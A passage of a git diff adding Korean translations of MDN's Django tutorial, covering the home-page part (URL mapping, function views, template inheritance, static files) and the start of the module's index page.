+
+<p>이 <code>path()</code> 함수는 아래를 정의합니다 : </p>
+
+<ul>
+ <li>빈 문자열인 URL 패턴 :<code>''</code>. 다른 뷰들을 작업할 때 URL 패턴들에 관해 자세히 다룰겁니다.</li>
+ <li>URL 패턴이 감지되었을 때 호출될 view 함수:<code>views.index</code>. 이 함수는 <strong>views.py</strong> 파일 안에서 <code>index()</code>로 이름지어져 있습니다.</li>
+</ul>
+
+<p>이 <code>path()</code> 함수는 또한 <code>name</code> 매개 변수를 지정합니다. 그것은 이 특정한 URL 매핑을 위한 고유 ID 입니다. 당신은 이 이름을 매퍼를 "반전" 시킬 수 있습니다. 즉, 매퍼가 처리하도록 설계된 리소스를 향하는 URL을 동적으로 생성하기 위해서죠. 예를 들자면, 우리는 아래 링크를 탬플릿에 추가해서 이름 매개 변수를 사용하여 다른 모든 페이지에서 홈 페이지로 링크를 걸 수 있습니다:</p>
+
+<pre class="brush: html">&lt;a href="<strong>{% url 'index' %}</strong>"&gt;Home&lt;/a&gt;.</pre>
+
+<div class="note">
+<p><strong>주의</strong>: 우리는 위 링크를 하드코딩할 수 있지만(예: <code>&lt;a href="<strong>/catalog/</strong>"&gt;Home&lt;/a&gt;</code>), 그렇게 하면 만약에 우리가 홈페이지를 바꿨을 때 (예: <code>/catalog/index</code>로 바꿨을 때) 탬플릿들은 더이상 알맞게 링크되지 않습니다. 반전된 url 매핑을 사용하는 것이 훨씬 유연하고 강력합니다.</p>
+</div>
+
+<h3 id="View_(함수-기반의)">View (함수-기반의)</h3>
+
+<p>뷰는 HTTP 요청을 처리하고, 데이터베이스에서 요청된 데이터를 가져오고, HTML 탬플릿을 이용해서 데이터를 HTML 페이지에 렌더링하고 그리고 생성된 HTML을 HTTP 응답으로 반환하여 사용자들에게 페이지를 보여주는 함수입니다. 색인(index) 뷰는 이 구조(model)를 따라갑니다 — 이것은 데이터베이스 안에 있는<code>Book</code>, <code>BookInstance</code>, 사용 가능한 <code>BookInstance</code> 그리고 <code>Author</code> 레코드들의 개수에 대한 정보를 가져오고, 그 정보를 디스플레이(display)를 위해 탬플릿으로 전달합니다.</p>
+
+<p><strong>catalog/views.py</strong> 를 열어서, 파일이 이미 탬플릿과 데이터를 이용해 HTML 파일을 생성하는 <a href="https://docs.djangoproject.com/en/2.0/topics/http/shortcuts/#django.shortcuts.render">render()</a> 바로가기 함수를 포함(import)하고 있음을 확인하세요.</p>
+
+<pre class="brush: python">from django.shortcuts import render
+
+# Create your views here.
+</pre>
+
+<p> 파일의 하단에 아래 코드를 복사 붙여넣기 하세요.</p>
+
+<pre class="brush: python">from catalog.models import Book, Author, BookInstance, Genre
+
+def index(request):
+    """View function for home page of site."""
+
+    # Generate counts of some of the main objects
+    num_books = Book.objects.all().count()
+    num_instances = BookInstance.objects.all().count()
+
+    # Available books (status = 'a')
+    num_instances_available = BookInstance.objects.filter(status__exact='a').count()
+
+    # The 'all()' is implied by default.
+    num_authors = Author.objects.count()
+
+    context = {
+        'num_books': num_books,
+        'num_instances': num_instances,
+        'num_instances_available': num_instances_available,
+        'num_authors': num_authors,
+    }
+
+    # Render the HTML template index.html with the data in the context variable
+    return render(request, 'index.html', context=context)</pre>
+
+<p>첫번째 줄은 우리의 모든 뷰들 안에서 데이터에 접근하는 데 사용할 모델 클래스들을 포함(import)합니다.</p>
+
+<p>view 함수의 첫번째 부분은 모델 클래스들에서 <code>objects.all()</code> 속성을 사용하는 레코드들의 개수를 가져옵니다. 이 함수는 또한 상태 필드에서 'a'(Available) 값을 가지고 있는 <code>BookInstance</code> 객체들의 목록도 가져옵니다. 이전 튜토리얼에서 모델 데이터에 접근하는 방법에 대한 더 많은 정보를 찾을 수 있습니다 : <a href="/en-US/docs/Learn/Server-side/Django/Models#Searching_for_records">Django Tutorial Part 3: Using models &gt; Searching for records</a>.</p>
+
+<p>view 함수의 마지막에선 HTML 페이지를 생성하고 이 페이지를 응답으로서 반환하기 위해 <code>render()</code> 함수를 호출합니다. 이 바로가기(shortcut) 함수는 아주 일반적으로 사용되는 경우들을 간단히 하기 위해 여러 다른 함수들을 포함합니다. <code>render()</code> 함수는 아래 매개 변수들을 허용합니다:</p>
+
+<ul>
+ <li><code>HttpRequest</code>인 원본 <code>request</code> 객체.</li>
+ <li>데이터에 대한 플레이스홀더(placeholder)들을 갖고 있는 HTML 탬플릿.</li>
+ <li>파이썬 딕셔너리(dictionary)인, 플레이스홀더에 삽입할 데이터를 갖고 있는 <code>context</code>변수.</li>
+</ul>
+
+<p>다음 섹션에서 탬플릿과 context 변수에 대해 더 다루도록 하겠습니다. 이제 탬플릿을 생성하여 사용자들에게 실제로 무언가를 표시해 봅시다!</p>
+
+<h3 id="탬플릿(Template)">탬플릿(Template)</h3>
+
+<p>탬플릿은 파일(HTML 페이지 같은)의 구조(structure)나 배치(layout)을 정의하는 텍스트 파일입니다. 탬플릿은 실제 내용물(content)를 나타내기 위해 플레이스홀더(placeholder)들을 사용합니다. 장고는 당신의 어플리케이션 안에서 'templates' 라고 이름지어진 경로 안에서 자동적으로 탬플릿들을 찾을 것입니다. 예를 들어서, 우리가 방금  추가한 색인(index) 뷰 안에서, <code>render()</code> 함수는 <strong>/locallibrary/catalog/templates/ </strong>경로 안에서<strong> <em>index.html </em></strong><em>파일을 찾으려 할 것이고, 파일이 없다면 에러를 표시할 것입니다. 이것은 이전의 변경점들을 저장하고 브라우저에서 <code>127.0.0.1:8000</code>으로 접근해서 확인할 수 있습니다 - 이것은 다른 세부 사항들과 함께 상당히 직관적인 오류 메세지를 표시할 것입니다 : "<code>TemplateDoesNotExist at /catalog/</code>".</em></p>
+
+<div class="note">
+<p><strong>주의:</strong> 프로젝트의 settings 파일에 기초해서, 장고는 여러 장소에서 탬플릿들을 찾아볼 것입니다. 기본적으로는 설치된 어플리케이션에서 검색합니다. 장고가 어떻게 탬플릿들을 찾는지, 그리고 어떤 탬플릿 양식(format)들을 지원하는지에 관해 여기(<a href="https://docs.djangoproject.com/en/2.0/topics/templates/">Templates</a> (Django docs))에서 찾아볼 수 있습니다.</p>
+</div>
+
+<h4 id="탬플릿_확장(extend)하기">탬플릿 확장(extend)하기</h4>
+
+<p> 색인(index) 팀플릿은 head 및 body를 위해 표준 HTML 마크업이 필요할 것입니다. 우리가 아직 생성하지 않은 사이트들의 다른 페이지들을 향한 링크를 걸기 위한 탐색(navigation) 섹션도 필요하고요. 그리고 소개 텍스트 및 책 데이터를 표시하는 섹션 또한 필요합니다. 대부분의 HTML과 탐색 구조는 사이트의 모든 페이지에서 동일할 것입니다. 모든 페이지마다 똑같은 코드를 복사하는 대신, 기본 템플릿을 선언하기 위해 장고 탬플릿 언어(Django templating language)를 사용하고, 탬플릿을 확장하여 각각의 페이지 마다 다른 부분들만을 대체(replace)할 수 있습니다.</p>
+
+<p>아래 코드 조각은 <strong>base_generic.html </strong>파일의 기본 탬플릿 샘플입니다. 이 샘플은 제목, 사이드바를 위한 섹션과 이름이 지정된 <code>block</code> 및 <code>endblock</code> 탬플릿 태그(굵게 표시)가 마크된 주요 내용(main contents)들이 포함된 일반적인 HTML을 포함합니다. 블럭(block)들을 비워두거나, 또는 탬플릿에서 파생된 페이지들을 렌더링할 때 사용할 기본 내용을 포함할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> 탬플릿 태그들은 목록을 반복하거나, 변수 값을 기반으로 조건부 연산을 수행하거나, 여타 다른 일들을 할 수 있는 함수입니다. 탬플릿 태그 외에도 탬플릿 구문(syntax)을 사용하면 view에서 탬플릿으로 전달된 변수들을 참조할 수 있고, 탬플릿 필터(filters)를 사용해서 변수의 형식을 지정할 수 있습니다(예를 들어, 문자열을 소문자로 변환).</p>
+</div>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  <strong>{% block title %}</strong>&lt;title&gt;Local Library&lt;/title&gt;<strong>{% endblock %}</strong>
+&lt;/head&gt;
+&lt;body&gt;
+  <strong>{% block sidebar %}</strong>&lt;!-- insert default navigation text for every page --&gt;<strong>{% endblock %}</strong>
+  <strong>{% block content %}</strong>&lt;!-- default content text (typically empty) --&gt;<strong>{% endblock %}</strong>
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>  특정한 view를 위해 탬플릿을 정의할 땐, 먼저 <code>extends</code> 탬플릿 태그를 이용하여 기본 탬플릿을 지정합니다 — 아래 코드 샘플을 참조하세요. 그리고 나서 기본 탬플릿에서와 같이 <code>block</code>/<code>endblock</code> 섹션들을 이용해서 대체할 탬플릿의 섹션들을 선언합니다(있을 경우). </p>
+
+<p>예를 들어, 아래 코드 조각은 extends 탬플릿 태그의 사용 및 content 블럭(block)을 재정의하는 방법을 보여줍니다. 생성된 HTML은 기본 탬플릿에서 정의된 코드와 구조를 포함할 것입니다(<code>title</code> 블럭에서 정의한 기본 내용은 포함하지만, 기본 <code>contents</code> 블럭 대신 새로운 <code>contents</code> 블럭 포함).</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;h1&gt;Local Library Home&lt;/h1&gt;
+  &lt;p&gt;Welcome to LocalLibrary, a website developed by &lt;em&gt;Mozilla Developer Network&lt;/em&gt;!&lt;/p&gt;
+{% endblock %}</pre>
+
+<h4 id="LocalLibrary_기본_탬플릿">LocalLibrary 기본 탬플릿</h4>
+
+<p>우리는 아래 코드 조각을 LocalLibrary 웹사이트의 베이스 탬플릿으로 사용할 것입니다. 보시는 바와 같이, 이것은 HTML 코드를 조금 포함하고 <code>title</code>, <code>sidebar</code> 그리고 <code>content</code> 블럭을 정의합니다. 우리는 기본 제목과 모든 책들 및 저자들에 대한 링크를 갖고 있는 기본 사이드바를 갖고 있습니다. 둘 다 미래에 쉽게 변경하기 위해 블럭들 안에 묶여 있습니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: 우리는 또한 두 개의 추가적인 탬플릿 태그를 소개합니다: <code>url</code> 과 <code>load static</code>. 이 태그들은 아래 섹션들에서 설명될 것입니다.</p>
+</div>
+
+<p>새로운 파일 <strong>base_generic.html</strong> 을 <strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong> 경로 안에 생성해서 아래 코드를 파일에 복사 붙여넣기 하세요:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  {% block title %}&lt;title&gt;Local Library&lt;/title&gt;{% endblock %}
+  &lt;meta charset="utf-8"&gt;
+  &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;
+  &lt;link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous"&gt;
+  &lt;!-- Add additional CSS in static file --&gt;
+  {% load static %}
+  &lt;link rel="stylesheet" href="{% static 'css/styles.css' %}"&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;div class="container-fluid"&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="col-sm-2"&gt;
+      {% block sidebar %}
+        &lt;ul class="sidebar-nav"&gt;
+          &lt;li&gt;&lt;a href="{% url 'index' %}"&gt;Home&lt;/a&gt;&lt;/li&gt;
+          &lt;li&gt;&lt;a href=""&gt;All books&lt;/a&gt;&lt;/li&gt;
+          &lt;li&gt;&lt;a href=""&gt;All authors&lt;/a&gt;&lt;/li&gt;
+        &lt;/ul&gt;
+     {% endblock %}
+      &lt;/div&gt;
+      &lt;div class="col-sm-10 "&gt;{% block content %}{% endblock %}&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>탬플릿에는 HTML 페이지의 레이아웃과 프리젠테이션을 개선하기 위한 <a href="http://getbootstrap.com/">Bootstrap</a> 의 CSS가 포함되어 있습니다. 부스트스트랩(또는 다른 클라이언트-사이드 웹 프레임워크)를 사용해서 서로 다른 크기의 화면에서도 잘 표시되는 매력적인 페이지를 빠르게 만들 수 있습니다.</p>
+
+<p>또한 기본 탬플릿은 추가적인 꾸미기(styling)를 제공하는 로컬 css 파일(styles.css)을 참조합니다. <strong>styles.css</strong> 파일을 <strong>/locallibrary/catalog/static/css/</strong> 경로 안에 생성하고 아래 코드를 파일 안에 복사 붙여넣기 하세요:</p>
+
+<pre class="brush: css">.sidebar-nav {
+    margin-top: 20px;
+    padding: 0;
+    list-style: none;
+}</pre>
+
+<h4 id="색인(index)_탬플릿">색인(index) 탬플릿</h4>
+
+<p> 새로운 HTML 파일 <strong>index.html</strong> 을 <strong>/locallibrary/catalog/templates/</strong> 경로 안에 생성해서 아래 코드를 파일 안에 복사 붙여넣기 하세요. 보시는 바와 같이 첫째 행에서 우리의 기본 탬플릿을 확장하고, 탬플릿의 기본 <code>content</code> 블럭을 새로운 블럭으로 대체합니다. </p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;h1&gt;Local Library Home&lt;/h1&gt;
+  &lt;p&gt;Welcome to LocalLibrary, a website developed by &lt;em&gt;Mozilla Developer Network&lt;/em&gt;!&lt;/p&gt;
+  &lt;h2&gt;Dynamic content&lt;/h2&gt;
+  &lt;p&gt;The library has the following record counts:&lt;/p&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;strong&gt;Books:&lt;/strong&gt; <strong>\{{ num_books }}</strong>&lt;/li&gt;
+    &lt;li&gt;&lt;strong&gt;Copies:&lt;/strong&gt; <strong>\{{ num_instances }}</strong>&lt;/li&gt;
+    &lt;li&gt;&lt;strong&gt;Copies available:&lt;/strong&gt; <strong>\{{ num_instances_available }}</strong>&lt;/li&gt;
+    &lt;li&gt;&lt;strong&gt;Authors:&lt;/strong&gt; <strong>\{{ num_authors }}</strong>&lt;/li&gt;
+  &lt;/ul&gt;
+{% endblock %}</pre>
+
+<p>동적 콘텐츠 섹션에서 우리는 우리가 포함하고 싶은 view의 정보를 위한 플레이스홀더(탬플릿 변수)를 선언합니다. 이 변수들은 코드 샘플에서 굵게 표시된 것과 같이 이중 중괄호로(핸들 바)로 묶입니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> 탬플릿 변수와 탬플릿 태그(함수)들을 쉽게 알 수 있습니다 - 변수들은 이중 중괄호로 감싸여져 있고(<code>\{{ num_books }}</code>) , 태그들은 퍼센트 기호와 단일 중괄호로 감싸여 있습니다(<code>{% extends "base_generic.html" %}</code>).</p>
+</div>
+
+<p>여기서 주의해야 할 중요한 것은 변수들의 이름은 열쇠(key)들로 정해진다는 것입니다. 이 열쇠(key)들은 우리의 view의 <code>render()</code>함수 안의 <code>context</code> 사전(dictionary)로 전달하는 열쇠입니다(아래를 확인하세요). 변수들은 탬플릿이 렌더링 될 때 그것들과 연관된 값들로 대체될 것입니다.  </p>
+
+<pre class="brush: python">context = {
+    '<strong>num_books</strong>': num_books,
+    '<strong>num_instances</strong>': num_instances,
+    '<strong>num_instances_available</strong>': num_instances_available,
+    '<strong>num_authors</strong>': num_authors,
+}
+
+return render(request, 'index.html', context=context)</pre>
+
+<h4 id="Templates_에_정적_파일_참조하기(referencing)">Templates 에 정적 파일 참조하기(referencing)</h4>
+
+<p>당신의 프로젝트는 자바스크립트, CSS 그리고 이미지를 포함하는 정적 리소스들을 사용할 가능성이 높습니다. 이 파일들의 위치가 알 수 없기 때문에(또는 바뀔 수 있기 때문에), 장고는 <code>STATIC_URL</code> 전역 설정을 기준으로 탬플릿에서의 위치를 특정할 수 있도록 합니다. 기본 뼈대 웹사이트(skeleton website)는 <code>STATIC_URL</code>의 값을 '<code>/static/</code>'으로 설정하지만, 당신은 이것들을 콘텐츠 전달 네트워크(content delivery network)나 다른 곳에서 호스트할 수도 있습니다.</p>
+
+<p>아래 코드 샘플처럼, 탬플릿 안에서 당신은 먼저 탬플릿 라이브러리를 추가하기 위해 "static"을 지정하는 <code>load</code> 탬플릿 태그를 호출합니다. 그러고 나서 <code>static</code> 탬플릿 태그를 사용할 수 있고 관련 URL을 요구되는 파일에 지정할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;!-- Add additional CSS in static file --&gt;
+{% load static %}
+&lt;link rel="stylesheet" href="{% static 'css/styles.css' %}"&gt;</pre>
+
+<p>비슷한 방법으로 이미지를 페이지에 추가할 수 있습니다. 예를 들어:</p>
+
+<pre class="brush: html">{% load static %}
+&lt;img src="{% static 'catalog/images/local_library_model_uml.png' %}" alt="UML diagram" style="width:555px;height:540px;"&gt;
+</pre>
+
+<div class="note">
+<p><strong> 주의</strong>: 위의 샘플은 파일들의 위치를 특정하지만, 장고는 기본적으로 파일을 제공하지 않습니다. 우리는 우리가 웹사이트 뼈대를 생성했을 때(<a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">created the website skeleton</a>) 전역 URL 매퍼(/locallibrary/locallibrary/urls.py)를 수정하여 개발 웹 서버가 파일을 제공하도록 설정했습니다만, 제품화되었을(in production)때도 파일을 제공할 수 있어야 합니다. 이것에 관해 차후에 다루겠습니다.</p>
+</div>
+
+<p> 정적 파일들로 작업하는 것에 대한 더 많은 정보는 장고 문서 안의 <a href="https://docs.djangoproject.com/en/2.0/howto/static-files/">Managing static files</a> 를 참고하세요.</p>
+
+<h4 id="URL_링크하기(Linking_to_URLs)">URL 링크하기(Linking to URLs)</h4>
+
+<p>위의 기본 탬플릿은 <code>url</code> 탬플릿 태그를 소개했습니다.</p>
+
+<pre class="brush: python">&lt;li&gt;&lt;a href="{% url 'index' %}"&gt;Home&lt;/a&gt;&lt;/li&gt;
+</pre>
+
+<p> 이 태그는 <strong>urls.py</strong>에서 호출된 <code>path()</code> 함수의 이름 및 연관된 view가 그 함수에서 수신받을 모든 인자들을 위한 값들을 허용하고, 리소스에 링크하는 데 사용할 수 있는 URL을 반환합니다 .</p>
+
+<h4 id="탬플릿을_찾을_수_있는_곳_설정하기">탬플릿을 찾을 수 있는 곳 설정하기</h4>
+
+<p>탬플릿 폴더 안에서 탬플릿을 찾아볼 수 있도록 장고에게 위치를 가르쳐 주어야 합니다. 그것을 하기 위해서, 아래 코드 샘플에 굵게 표시된 것 처럼 <strong>settings.py</strong> 파일을 수정하여 TEMPLATES 객체에 templates 경로(dir)를 추가하세요.</p>
+
+<p> </p>
+
+<pre><code>TEMPLATES = [
+    {
+        'BACKEND': 'django.template.backends.django.DjangoTemplates',
+        'DIRS': [
+<strong>            os.path.join(BASE_DIR, 'templates'),
+</strong>        ],
+        'APP_DIRS': True,
+        'OPTIONS': {
+            'context_processors': [
+                'django.template.context_processors.debug',
+                'django.template.context_processors.request',
+                'django.contrib.auth.context_processors.auth',
+                'django.contrib.messages.context_processors.messages',
+            ],
+        },
+    },
+]</code></pre>
+
+<p> </p>
+
+<h2 id="어떻게_보일까요">어떻게 보일까요?</h2>
+
+<p>이 시점에서 우리는 색인(index) 페이지를 나타내기 위해 필요한 모든 요소들을 생성했습니다. 서버를 실행하고 (<code>python3 manage.py runserver</code>) 브라우저에서 <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>으로 이동하세요. 모든 것이 알맞게 설정되었다면, 당신의 사이트는 아래 스크린샷과 같이 보여야 합니다.</p>
+
+<p><img alt="Index page for LocalLibrary website" src="https://mdn.mozillademos.org/files/14045/index_page_ok.png" style="border-style: solid; border-width: 1px; display: block; height: 356px; margin: 0px auto; width: 874px;"></p>
+
+<div class="note">
+<p><strong>주의:</strong> All books와 All authors 링크들에 대한 경로, 뷰 그리고 탬플릿들이 정의되지 않았기 때문에 그 링크들은 작동하지 않을 것입니다. 우리는 단지 <code>base_generic.html</code> 탬플릿 안에 그 링크들을 위한 플레이스홀더(placeholder)들을 삽입했을 뿐입니다.</p>
+</div>
+
+<h2 id="도전_과제">도전 과제</h2>
+
+<p>모델 쿼리, 뷰 그리고 탬플릿들과의 친밀함을 시험할 수 있는 두 가지 임무가 있습니다. </p>
+
+<ol>
+ <li>LocalLibrary 기본 탬플릿(<a href="#The_LocalLibrary_base_template">base template</a>)에는 <code>title</code> 블록이 정의되어 있습니다. 색인 탬플릿(<a href="#The_index_template">index template</a>) 안에 이 블록을 덮어쓰기하고 페이지를 위한 새로운 제목을 만들어 보세요.
+
+  <div class="note">
+  <p><strong>힌트:</strong> <a href="#Extending_templates">Extending templates</a> 섹션은 블럭(block)을 생성하고 다른 탬플릿에서 블럭을 확장(extend)하는 방법을 설명합니다.</p>
+  </div>
+ </li>
+ <li>대소문자 구분 없이 특정한 단어를 포함하는 장르와 책들의 개수(count)를 생성하도록 <a href="#View_(function-based)">view</a> 를 수정하고, 결과를 <code>context</code>에 전달해 보세요. 이것은 <code>num_books</code>와 <code>num_instances_available</code>을 생성하고 사용하는 것과 비슷한 방법으로 달성할 수 있습니다. 그리고 나서 이 변수들을 포함시키기 위해 <a href="#The_index_template">index template</a> 를 업데이트 하세요.<br>
+   </li>
+</ol>
+
+<ul>
+</ul>
+
+<h2 id="요약">요약</h2>
+
+<p>이제 우리의 사이트를 위한 홈 페이지를 생성했습니다 — 데이터베이스의 여러 레코드들을 표시하고 아직 생성되지 않은 페이지로 링크하는 HTML 페이지 입니다. 그 과정에서 우리는 url 매퍼, view, 모델을 이용한 데이터베이스 쿼리, view에서 탬플릿으로의 정보 전달 그리고 탬플릿의 생성과 확장에 관한 기본적인 정보를 배웠습니다.</p>
+
+<p>다음 글에서는 이 지식들을 토대로 우리 웹사이트의 나머지 네 개의 페이지들을 생성할 것입니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/intro/tutorial03/">Writing your first Django app, part 3: Views and Templates</a>  (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/http/urls/">URL dispatcher</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/http/views/">View functions</a> (DJango docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/templates/">Templates</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/howto/static-files/">Managing static files</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/http/shortcuts/#django.shortcuts.render">Django shortcut functions</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/learn/server-side/django/index.html b/files/ko/learn/server-side/django/index.html
new file mode 100644
index 0000000000..2545082955
--- /dev/null
+++ b/files/ko/learn/server-side/django/index.html
@@ -0,0 +1,65 @@
+---
+title: Django 웹 프레임워크 (파이썬)
+slug: Learn/Server-side/Django
+tags:
+  - 서버 사이드 프로그래밍
+  - 장고
+  - 초보자
+  - 파이썬
+translation_of: Learn/Server-side/Django
+---
+<div>{{LearnSidebar}}</div>
+
+<p>Django는 파이썬으로 구성된, 인기 많고 완벽한 기능을 갖춘 서버-사이드 웹 프레임워크입니다. 이 모듈은 Django가 웹 서버 프레임워크 중 가장 유명한 이유, 개발환경을 설정하는 방법, 그리고 이를 통해 자신만의 웹 애플리케이션을 만드는 방법을 알려줍니다. </p>
+
+<h2 id="전제조건">전제조건</h2>
+
+<p>이 모듈을 시작하기에 앞서, 당신이 Django에 대해 미리 알 필요는 전혀 없습니다. 하지만 <a href="/ko/docs/Learn/Server-side/First_steps">Server-side website programming first steps</a> 모듈을 보면서 과연 서버-사이드 웹 프로그래밍과 웹 프레임워크가 무엇인가에 대해서는 이해 할 필요가 있습니다.</p>
+
+<p>프로그래밍 개념 그리고 <a href="/ko/docs/Glossary/Python">Python</a>에 대한 일반적인 지식을 공부하는 것은 권장합니다. 하지만 이것이 Django의 핵심 개념을 이해하는데 반드시 필요한 것은 아닙니다.</p>
+
+<div class="note">
+<p><strong>노트</strong>: Python은 초보자가 읽고 이해할 수 있는 가장 쉬운 프로그래밍 언어 중 하나 입니다. 즉, 만약 당신이 이 모듈을 더 깊이 이해하고 싶다면, 인터넷에서 많은 무료 서적과 자습서들을 이용할 수 있습니다. ( 초보 프로그래머들은 python.org wiki 에서 <a href="https://wiki.python.org/moin/BeginnersGuide/NonProgrammers">Python for Non Programmers</a> 페이지를 확인해도 좋습니다.).</p>
+</div>
+
+<h2 id="가이드">가이드</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/Server-side/Django/Introduction">Django 소개</a></dt>
+ <dd>이 문서에서는 "Django란 무엇인가?"  라는 물음에 답을 합니다. 그리고 이 웹 프레임워크를 특별하게 만드는 요소에 대해 대략적으로 살펴볼 것입니다. 우리는 여기서  Django의 주요 특징들 (자세히 설명할 시간은 없는 심화된 기능들 포함) 을 훑어볼 것입니다. 또한 Django 애플리케이션의 주요 구성 요소들 중 일부를 보여줍니다. 따라서 당신이 Django 애플리케이션을 설정하고 시작하기 전에, 우리는 Django가 무슨 일을 해 줄 수 있는지에 대해 알려줄 것입니다. </dd>
+ <dt><a href="/ko/docs/Learn/Server-side/Django/development_environment">Django 개발 환경 설정</a></dt>
+ <dd>이제 Django가 무엇인지 알았으므로 Windows, Linux (Ubuntu) 및 Mac OS X에서 Django 개발 환경을 설정하고 테스트하는 방법을 살펴봅시다. 이 문서에서는 당신이 어떠한 운영 체제를 사용하든지 상관없습니다. 우리는 당신이 Django로 앱 개발을 시작하기 전에 필요한 것을 마땅히 알려줘야 합니다. </dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></dt>
+ <dd>이 (실용적) 튜토리얼의 첫번째 문서에서는 앞으로 무엇을 배울지 알아봅니다. -  우리가 후속 문서에서 계속 작업하고 개발해 나갈 "로컬 저장소" 의 예제 웹사이트를 살펴봅니다.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></dt>
+ <dd>이 수업에서는 웹사이트의 기본인 "뼈대"를 만드는 방법을 살펴봅니다. 그런 다음 사이트별로 settings, urls, models, views, templates 을 사용하여 채워 넣을 것입니다.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></dt>
+ <dd>이 수업에서는 로컬 저장소 웹사이트에서 모델을 저장하는 방법에 대해 알아봅니다. 모델이란 웹 앱의 자료구조를 나타내며, Django의 데이터 베이스에 데이터를 저장할 수 있도록 해줍니다. 여기서는 모델이 무엇인지, 어떻게 선언하는지, 그리고 몇몇 중요한 필드 타입도 살펴볼 것입니다. 그리고 모델 데이터에 접근하는 몇가지 주요 방법도 간단하게 알아봅니다. </dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></dt>
+ <dd>앞에서 로컬라이브러리 웹사이트의 모델을 생성했다면, 이제는 Django 관리자 사이트를 사용해서 "실제" 책 데이터를 추가할 차례입니다. 먼저 관리자 사이트에 모델에 등록하는 방법을 보여줄 것입니다. 그 다음에 로그인 하고 데이터를 생성하는 방법도 배울 것입니다. 마지막 순서에서는 관리자 사이트의 PT를 향상시키는 더 많은 방법도 알아볼 것입니다. </dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></dt>
+ <dd>이제 우리는 처음으로 완성된 페이지(홈페이지 개념으로 모델 종류를 기록하고 사이드바나 다른 페이지의 링크들이 있음)를 표시하기 위한 코드를 입력할 준비가 되었습니다. 이 방법을 통해 기본적인 URL 맵이나 뷰를 작성하고, 데이터베이스에 기록하고, 템플릿을 사용하는 실용적인 경험을 얻을 것입니다. </dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></dt>
